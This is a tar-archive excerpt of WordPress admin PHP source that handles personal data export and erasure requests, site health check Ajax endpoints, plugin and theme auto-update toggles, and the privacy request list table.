				sprintf( __( 'Exporter callback is not a valid callback: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

$callback = $exporter['callback'];
		$response = call_user_func( $callback, $email_address, $page );

if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

if ( ! is_array( $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected response as an array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

if ( ! array_key_exists( 'data', $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected data in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

if ( ! is_array( $response['data'] ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected data array in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected done (boolean) in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
	} else {
		// No exporters, so we're done.
		$exporter_key = '';

$response = array(
			'data' => array(),
			'done' => true,
		);
	}

/**
	 * Filters a page of personal data exporter data. Used to build the export report.
	 *
	 * Allows the export response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        The personal data for the given exporter and page.
	 * @param int    $exporter_index  The index of the exporter that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
	 * @param string $exporter_key    The key (slug) of the exporter that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_export_page', $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key );

if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

wp_send_json_success( $response );
}

/**
 * Ajax handler for erasing personal data.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_erase_personal_data() {

if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

$request_id = (int) $_POST['id'];

if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

// Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
	if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
		wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
	}

check_ajax_referer( 'wp-privacy-erase-personal-data-' . $request_id, 'security' );

// Get the request.
	$request = wp_get_user_request( $request_id );

if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

$email_address = $request->email;

if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address in request.' ) );
	}

if ( ! isset( $_POST['eraser'] ) ) {
		wp_send_json_error( __( 'Missing eraser index.' ) );
	}

$eraser_index = (int) $_POST['eraser'];

if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

$page = (int) $_POST['page'];

/**
	 * Filters the array of personal data eraser callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable erasers of personal data. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Array of personal data exporters.
	 *
	 *         @type callable $callback               Callable eraser that accepts an email address and
	 *                                                a page and returns an array with boolean values for
	 *                                                whether items were removed or retained and any messages
	 *                                                from the eraser, as well as if additional pages are
	 *                                                available.
	 *         @type string   $exporter_friendly_name Translated user facing friendly name for the eraser.
	 *     }
	 * }
	 */
	$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );

// Do we have any registered erasers?
	if ( 0 < count( $erasers ) ) {

if ( $eraser_index < 1 ) {
			wp_send_json_error( __( 'Eraser index cannot be less than one.' ) );
		}

if ( $eraser_index > count( $erasers ) ) {
			wp_send_json_error( __( 'Eraser index is out of range.' ) );
		}

if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

$eraser_keys = array_keys( $erasers );
		$eraser_key  = $eraser_keys[ $eraser_index - 1 ];
		$eraser      = $erasers[ $eraser_key ];

if ( ! is_array( $eraser ) ) {
			/* translators: %d: Eraser array index. */
			wp_send_json_error( sprintf( __( 'Expected an array describing the eraser at index %d.' ), $eraser_index ) );
		}

if ( ! array_key_exists( 'eraser_friendly_name', $eraser ) ) {
			/* translators: %d: Eraser array index. */
			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a friendly name.' ), $eraser_index ) );
		}

$eraser_friendly_name = $eraser['eraser_friendly_name'];

if ( ! array_key_exists( 'callback', $eraser ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: %s: Eraser friendly name. */
					__( 'Eraser does not include a callback: %s.' ),
					esc_html( $eraser_friendly_name )
				)
			);
		}

if ( ! is_callable( $eraser['callback'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: %s: Eraser friendly name. */
					__( 'Eraser callback is not valid: %s.' ),
					esc_html( $eraser_friendly_name )
				)
			);
		}

$callback = $eraser['callback'];
		$response = call_user_func( $callback, $email_address, $page );

if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

if ( ! is_array( $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Did not receive array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'items_removed', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected items_removed key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'items_retained', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected items_retained key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'messages', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected messages key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! is_array( $response['messages'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected messages key to reference an array in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected done flag in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}
	} else {
		// No erasers, so we're done.
		$eraser_key = '';

$response = array(
			'items_removed'  => false,
			'items_retained' => false,
			'messages'       => array(),
			'done'           => true,
		);
	}

/**
	 * Filters a page of personal data eraser data.
	 *
	 * Allows the erasure response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        The personal data for the given exporter and page.
	 * @param int    $eraser_index    The index of the eraser that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param string $eraser_key      The key (slug) of the eraser that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_erasure_page', $response, $eraser_index, $email_address, $page, $request_id, $eraser_key );

if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

wp_send_json_success( $response );
}

/**
 * Ajax handler for site health checks on server communication.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_dotorg_communication() {
	check_ajax_referer( 'health-check-site-status' );

if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_dotorg_communication() );
}

/**
 * Ajax handler for site health checks on debug mode.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_is_in_debug_mode() {
	wp_verify_nonce( 'health-check-site-status' );

if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_is_in_debug_mode() );
}

/**
 * Ajax handler for site health checks on background updates.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_background_updates() {
	check_ajax_referer( 'health-check-site-status' );

if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_background_updates() );
}

/**
 * Ajax handler for site health checks on loopback requests.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_loopback_requests() {
	check_ajax_referer( 'health-check-site-status' );

if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_loopback_requests() );
}

/**
 * Ajax handler for site health check to update the result status.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_site_status_result() {
	check_ajax_referer( 'health-check-site-status-result' );

if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

set_transient( 'health-check-site-status-result', wp_json_encode( $_POST['counts'] ) );

wp_send_json_success();
}

/**
 * Ajax handler for site health check to get directories and database sizes.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_get_sizes() {
	check_ajax_referer( 'health-check-site-status-result' );

if ( ! current_user_can( 'view_site_health_checks' ) || is_multisite() ) {
		wp_send_json_error();
	}

if ( ! class_exists( 'WP_Debug_Data' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
	}

$sizes_data = WP_Debug_Data::get_sizes();
	$all_sizes  = array( 'raw' => 0 );

foreach ( $sizes_data as $name => $value ) {
		$name = sanitize_text_field( $name );
		$data = array();

if ( isset( $value['size'] ) ) {
			if ( is_string( $value['size'] ) ) {
				$data['size'] = sanitize_text_field( $value['size'] );
			} else {
				$data['size'] = (int) $value['size'];
			}
		}

if ( isset( $value['debug'] ) ) {
			if ( is_string( $value['debug'] ) ) {
				$data['debug'] = sanitize_text_field( $value['debug'] );
			} else {
				$data['debug'] = (int) $value['debug'];
			}
		}

if ( ! empty( $value['raw'] ) ) {
			$data['raw'] = (int) $value['raw'];
		}

$all_sizes[ $name ] = $data;
	}

if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
		wp_send_json_error( $all_sizes );
	}

wp_send_json_success( $all_sizes );
}

/**
 * Ajax handler to renew the REST API nonce.
 *
 * @since 5.3.0
 */
function wp_ajax_rest_nonce() {
	exit( wp_create_nonce( 'wp_rest' ) );
}

/**
 * Ajax handler to enable or disable plugin and theme auto-updates.
 *
 * @since 5.5.0
 */
function wp_ajax_toggle_auto_updates() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['type'] ) || empty( $_POST['asset'] ) || empty( $_POST['state'] ) ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. No selected item.' ) ) );
	}

$asset = sanitize_text_field( urldecode( $_POST['asset'] ) );

if ( 'enable' !== $_POST['state'] && 'disable' !== $_POST['state'] ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown state.' ) ) );
	}
	$state = $_POST['state'];

if ( 'plugin' !== $_POST['type'] && 'theme' !== $_POST['type'] ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
	}
	$type = $_POST['type'];

switch ( $type ) {
		case 'plugin':
			if ( ! current_user_can( 'update_plugins' ) ) {
				$error_message = __( 'Sorry, you are not allowed to modify plugins.' );
				wp_send_json_error( array( 'error' => $error_message ) );
			}

$option = 'auto_update_plugins';
			/** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			$all_items = apply_filters( 'all_plugins', get_plugins() );
			break;
		case 'theme':
			if ( ! current_user_can( 'update_themes' ) ) {
				$error_message = __( 'Sorry, you are not allowed to modify themes.' );
				wp_send_json_error( array( 'error' => $error_message ) );
			}

$option    = 'auto_update_themes';
			$all_items = wp_get_themes();
			break;
		default:
			wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
	}

if ( ! array_key_exists( $asset, $all_items ) ) {
		$error_message = __( 'Invalid data. The item does not exist.' );
		wp_send_json_error( array( 'error' => $error_message ) );
	}

$auto_updates = (array) get_site_option( $option, array() );

if ( 'disable' === $state ) {
		$auto_updates = array_diff( $auto_updates, array( $asset ) );
	} else {
		$auto_updates[] = $asset;
		$auto_updates   = array_unique( $auto_updates );
	}

// Remove items that have been deleted since the site option was last updated.
	$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

update_site_option( $option, $auto_updates );

wp_send_json_success();
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-privacy-data-removal-requests-list-table.php�����������������������������������������������0000604�����������������00000011372�15075125354�0016751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Privacy_Data_Removal_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Removal_Requests_List_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Removal_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'remove_personal_data';

/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

/**
	 * Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		$row_actions = array();

// Allow the administrator to "force remove" the personal data even if confirmation has not yet been received.
		$status = $item->status;
		if ( 'request-confirmed' !== $status ) {
			/** This filter is documented in wp-admin/includes/ajax-actions.php */
			$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
			$erasers_count = count( $erasers );
			$request_id    = $item->ID;
			$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

$remove_data_markup = '<div class="remove-personal-data force-remove-personal-data" ' .
				'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
				'data-request-id="' . esc_attr( $request_id ) . '" ' .
				'data-nonce="' . esc_attr( $nonce ) .
				'">';

$remove_data_markup .= '<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle">' . __( 'Force Erase Personal Data' ) . '</button></span>' .
				'<span class="remove-personal-data-processing hidden">' . __( 'Erasing Data...' ) . ' <span class="erasure-progress"></span></span>' .
				'<span class="remove-personal-data-success hidden">' . __( 'Erasure completed.' ) . '</span>' .
				'<span class="remove-personal-data-failed hidden">' . __( 'Force Erasure has failed.' ) . ' <button type="button" class="button-link remove-personal-data-handle">' . __( 'Retry' ) . '</button></span>';

$remove_data_markup .= '</div>';

$row_actions = array(
				'remove-data' => $remove_data_markup,
			);
		}

return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

/**
	 * Next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
				$erasers_count = count( $erasers );
				$request_id    = $item->ID;
				$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

echo '<div class="remove-personal-data" ' .
					'data-force-erase="1" ' .
					'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

?>
				<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Erase Personal Data' ); ?></button></span>
				<span class="remove-personal-data-processing hidden"><?php _e( 'Erasing Data...' ); ?> <span class="erasure-progress"></span></span>
				<span class="remove-personal-data-success success-message hidden" ><?php _e( 'Erasure completed.' ); ?></span>
				<span class="remove-personal-data-failed hidden"><?php _e( 'Data Erasure has failed.' ); ?> <button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

echo '</div>';

break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}

}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������privacy-tools.php�����������������������������������������������������������������������������������0000604�����������������00000077024�15075125354�0010105 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Administration Privacy Tools API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Resend an existing request and return the result.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id Request ID.
 * @return bool|WP_Error Returns true/false based on the success of sending the email, or a WP_Error object.
 */
function _wp_privacy_resend_request( $request_id ) {
	$request_id = absint( $request_id );
	$request    = get_post( $request_id );

if ( ! $request || 'user_request' !== $request->post_type ) {
		return new WP_Error( 'privacy_request_error', __( 'Invalid request.' ) );
	}

$result = wp_send_user_request( $request_id );

if ( is_wp_error( $result ) ) {
		return $result;
	} elseif ( ! $result ) {
		return new WP_Error( 'privacy_request_error', __( 'Unable to initiate confirmation request.' ) );
	}

return true;
}

/**
 * Marks a request as completed by the admin and logs the current timestamp.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id Request ID.
 * @return int|WP_Error Request ID on success, or a WP_Error on failure.
 */
function _wp_privacy_completed_request( $request_id ) {
	// Get the request.
	$request_id = absint( $request_id );
	$request    = wp_get_user_request( $request_id );

if ( ! $request ) {
		return new WP_Error( 'privacy_request_error', __( 'Invalid request.' ) );
	}

update_post_meta( $request_id, '_wp_user_request_completed_timestamp', time() );

$result = wp_update_post(
		array(
			'ID'          => $request_id,
			'post_status' => 'request-completed',
		)
	);

return $result;
}

/**
 * Handle list table actions.
 *
 * @since 4.9.6
 * @access private
 */
function _wp_personal_data_handle_actions() {
	if ( isset( $_POST['privacy_action_email_retry'] ) ) {
		check_admin_referer( 'bulk-privacy_requests' );

$request_id = absint( current( array_keys( (array) wp_unslash( $_POST['privacy_action_email_retry'] ) ) ) );
		$result     = _wp_privacy_resend_request( $request_id );

if ( is_wp_error( $result ) ) {
			add_settings_error(
				'privacy_action_email_retry',
				'privacy_action_email_retry',
				$result->get_error_message(),
				'error'
			);
		} else {
			add_settings_error(
				'privacy_action_email_retry',
				'privacy_action_email_retry',
				__( 'Confirmation request sent again successfully.' ),
				'success'
			);
		}
	} elseif ( isset( $_POST['action'] ) ) {
		$action = ! empty( $_POST['action'] ) ? sanitize_key( wp_unslash( $_POST['action'] ) ) : '';

switch ( $action ) {
			case 'add_export_personal_data_request':
			case 'add_remove_personal_data_request':
				check_admin_referer( 'personal-data-request' );

if ( ! isset( $_POST['type_of_action'], $_POST['username_or_email_for_privacy_request'] ) ) {
					add_settings_error(
						'action_type',
						'action_type',
						__( 'Invalid action.' ),
						'error'
					);
				}
				$action_type               = sanitize_text_field( wp_unslash( $_POST['type_of_action'] ) );
				$username_or_email_address = sanitize_text_field( wp_unslash( $_POST['username_or_email_for_privacy_request'] ) );
				$email_address             = '';

if ( ! in_array( $action_type, _wp_privacy_action_request_types(), true ) ) {
					add_settings_error(
						'action_type',
						'action_type',
						__( 'Invalid action.' ),
						'error'
					);
				}

if ( ! is_email( $username_or_email_address ) ) {
					$user = get_user_by( 'login', $username_or_email_address );
					if ( ! $user instanceof WP_User ) {
						add_settings_error(
							'username_or_email_for_privacy_request',
							'username_or_email_for_privacy_request',
							__( 'Unable to add this request. A valid email address or username must be supplied.' ),
							'error'
						);
					} else {
						$email_address = $user->user_email;
					}
				} else {
					$email_address = $username_or_email_address;
				}

if ( empty( $email_address ) ) {
					break;
				}

$request_id = wp_create_user_request( $email_address, $action_type );

if ( is_wp_error( $request_id ) ) {
					add_settings_error(
						'username_or_email_for_privacy_request',
						'username_or_email_for_privacy_request',
						$request_id->get_error_message(),
						'error'
					);
					break;
				} elseif ( ! $request_id ) {
					add_settings_error(
						'username_or_email_for_privacy_request',
						'username_or_email_for_privacy_request',
						__( 'Unable to initiate confirmation request.' ),
						'error'
					);
					break;
				}

wp_send_user_request( $request_id );

add_settings_error(
					'username_or_email_for_privacy_request',
					'username_or_email_for_privacy_request',
					__( 'Confirmation request initiated successfully.' ),
					'success'
				);
				break;
		}
	}
}

/**
 * Cleans up failed and expired requests before displaying the list table.
 *
 * @since 4.9.6
 * @access private
 */
function _wp_personal_data_cleanup_requests() {
	/** This filter is documented in wp-includes/user.php */
	$expires = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );

$requests_query = new WP_Query(
		array(
			'post_type'      => 'user_request',
			'posts_per_page' => -1,
			'post_status'    => 'request-pending',
			'fields'         => 'ids',
			'date_query'     => array(
				array(
					'column' => 'post_modified_gmt',
					'before' => $expires . ' seconds ago',
				),
			),
		)
	);

$request_ids = $requests_query->posts;

foreach ( $request_ids as $request_id ) {
		wp_update_post(
			array(
				'ID'            => $request_id,
				'post_status'   => 'request-failed',
				'post_password' => '',
			)
		);
	}
}

/**
 * Generate a single group for the personal data export report.
 *
 * @since 4.9.6
 * @since 5.4.0 Added the `$group_id` and `$groups_count` parameters.
 *
 * @param array  $group_data {
 *     The group data to render.
 *
 *     @type string $group_label  The user-facing heading for the group, e.g. 'Comments'.
 *     @type array  $items        {
 *         An array of group items.
 *
 *         @type array  $group_item_data  {
 *             An array of name-value pairs for the item.
 *
 *             @type string $name   The user-facing name of an item name-value pair, e.g. 'IP Address'.
 *             @type string $value  The user-facing value of an item data pair, e.g. '50.60.70.0'.
 *         }
 *     }
 * }
 * @param string $group_id     The group identifier.
 * @param int    $groups_count The number of all groups
 * @return string The HTML for this group and its items.
 */
function wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id = '', $groups_count = 1 ) {
	$group_id_attr = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id );

$group_html  = '<h2 id="' . esc_attr( $group_id_attr ) . '">';
	$group_html .= esc_html( $group_data['group_label'] );

$items_count = count( (array) $group_data['items'] );
	if ( $items_count > 1 ) {
		$group_html .= sprintf( ' <span class="count">(%d)</span>', $items_count );
	}

$group_html .= '</h2>';

if ( ! empty( $group_data['group_description'] ) ) {
		$group_html .= '<p>' . esc_html( $group_data['group_description'] ) . '</p>';
	}

$group_html .= '<div>';

foreach ( (array) $group_data['items'] as $group_item_id => $group_item_data ) {
		$group_html .= '<table>';
		$group_html .= '<tbody>';

foreach ( (array) $group_item_data as $group_item_datum ) {
			$value = $group_item_datum['value'];
			// If it looks like a link, make it a link.
			if ( false === strpos( $value, ' ' ) && ( 0 === strpos( $value, 'http://' ) || 0 === strpos( $value, 'https://' ) ) ) {
				$value = '<a href="' . esc_url( $value ) . '">' . esc_html( $value ) . '</a>';
			}

$group_html .= '<tr>';
			$group_html .= '<th>' . esc_html( $group_item_datum['name'] ) . '</th>';
			$group_html .= '<td>' . wp_kses( $value, 'personal_data_export' ) . '</td>';
			$group_html .= '</tr>';
		}

$group_html .= '</tbody>';
		$group_html .= '</table>';
	}

if ( $groups_count > 1 ) {
		$group_html .= '<div class="return-to-top">';
		$group_html .= '<a href="#top"><span aria-hidden="true">&uarr; </span> ' . esc_html__( 'Return to top' ) . '</a>';
		$group_html .= '</div>';
	}

$group_html .= '</div>';

return $group_html;
}

/**
 * Generate the personal data export file.
 *
 * @since 4.9.6
 *
 * @param int $request_id The export request ID.
 */
function wp_privacy_generate_personal_data_export_file( $request_id ) {
	if ( ! class_exists( 'ZipArchive' ) ) {
		wp_send_json_error( __( 'Unable to generate export file. ZipArchive not available.' ) );
	}

// Get the request.
	$request = wp_get_user_request( $request_id );

if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when generating export file.' ) );
	}

$email_address = $request->email;

if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address when generating export file.' ) );
	}

// Create the exports folder if needed.
	$exports_dir = wp_privacy_exports_dir();
	$exports_url = wp_privacy_exports_url();

if ( ! wp_mkdir_p( $exports_dir ) ) {
		wp_send_json_error( __( 'Unable to create export folder.' ) );
	}

// Protect export folder from browsing.
	$index_pathname = $exports_dir . 'index.html';
	if ( ! file_exists( $index_pathname ) ) {
		$file = fopen( $index_pathname, 'w' );
		if ( false === $file ) {
			wp_send_json_error( __( 'Unable to protect export folder from browsing.' ) );
		}
		fwrite( $file, '' );
		fclose( $file );
	}

$obscura              = wp_generate_password( 32, false, false );
	$file_basename        = 'wp-personal-data-file-' . $obscura;
	$html_report_filename = wp_unique_filename( $exports_dir, $file_basename . '.html' );
	$html_report_pathname = wp_normalize_path( $exports_dir . $html_report_filename );
	$json_report_filename = $file_basename . '.json';
	$json_report_pathname = wp_normalize_path( $exports_dir . $json_report_filename );

/*
	 * Gather general data needed.
	 */

// Title.
	$title = sprintf(
		/* translators: %s: User's email address. */
		__( 'Personal Data Export for %s' ),
		$email_address
	);

// And now, all the Groups.
	$groups = get_post_meta( $request_id, '_export_data_grouped', true );

// First, build an "About" group on the fly for this report.
	$about_group = array(
		/* translators: Header for the About section in a personal data export. */
		'group_label'       => _x( 'About', 'personal data group label' ),
		/* translators: Description for the About section in a personal data export. */
		'group_description' => _x( 'Overview of export report.', 'personal data group description' ),
		'items'             => array(
			'about-1' => array(
				array(
					'name'  => _x( 'Report generated for', 'email address' ),
					'value' => $email_address,
				),
				array(
					'name'  => _x( 'For site', 'website name' ),
					'value' => get_bloginfo( 'name' ),
				),
				array(
					'name'  => _x( 'At URL', 'website URL' ),
					'value' => get_bloginfo( 'url' ),
				),
				array(
					'name'  => _x( 'On', 'date/time' ),
					'value' => current_time( 'mysql' ),
				),
			),
		),
	);

// Merge in the special about group.
	$groups = array_merge( array( 'about' => $about_group ), $groups );

$groups_count = count( $groups );

// Convert the groups to JSON format.
	$groups_json = wp_json_encode( $groups );

/*
	 * Handle the JSON export.
	 */
	$file = fopen( $json_report_pathname, 'w' );

if ( false === $file ) {
		wp_send_json_error( __( 'Unable to open export file (JSON report) for writing.' ) );
	}

fwrite( $file, '{' );
	fwrite( $file, '"' . $title . '":' );
	fwrite( $file, $groups_json );
	fwrite( $file, '}' );
	fclose( $file );

/*
	 * Handle the HTML export.
	 */
	$file = fopen( $html_report_pathname, 'w' );

if ( false === $file ) {
		wp_send_json_error( __( 'Unable to open export file (HTML report) for writing.' ) );
	}

fwrite( $file, "<!DOCTYPE html>\n" );
	fwrite( $file, "<html>\n" );
	fwrite( $file, "<head>\n" );
	fwrite( $file, "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />\n" );
	fwrite( $file, "<style type='text/css'>" );
	fwrite( $file, 'body { color: black; font-family: Arial, sans-serif; font-size: 11pt; margin: 15px auto; width: 860px; }' );
	fwrite( $file, 'table { background: #f0f0f0; border: 1px solid #ddd; margin-bottom: 20px; width: 100%; }' );
	fwrite( $file, 'th { padding: 5px; text-align: left; width: 20%; }' );
	fwrite( $file, 'td { padding: 5px; }' );
	fwrite( $file, 'tr:nth-child(odd) { background-color: #fafafa; }' );
	fwrite( $file, '.return-to-top { text-align: right; }' );
	fwrite( $file, '</style>' );
	fwrite( $file, '<title>' );
	fwrite( $file, esc_html( $title ) );
	fwrite( $file, '</title>' );
	fwrite( $file, "</head>\n" );
	fwrite( $file, "<body>\n" );
	fwrite( $file, '<h1 id="top">' . esc_html__( 'Personal Data Export' ) . '</h1>' );

// Create TOC.
	if ( $groups_count > 1 ) {
		fwrite( $file, '<div id="table_of_contents">' );
		fwrite( $file, '<h2>' . esc_html__( 'Table of Contents' ) . '</h2>' );
		fwrite( $file, '<ul>' );
		foreach ( (array) $groups as $group_id => $group_data ) {
			$group_label       = esc_html( $group_data['group_label'] );
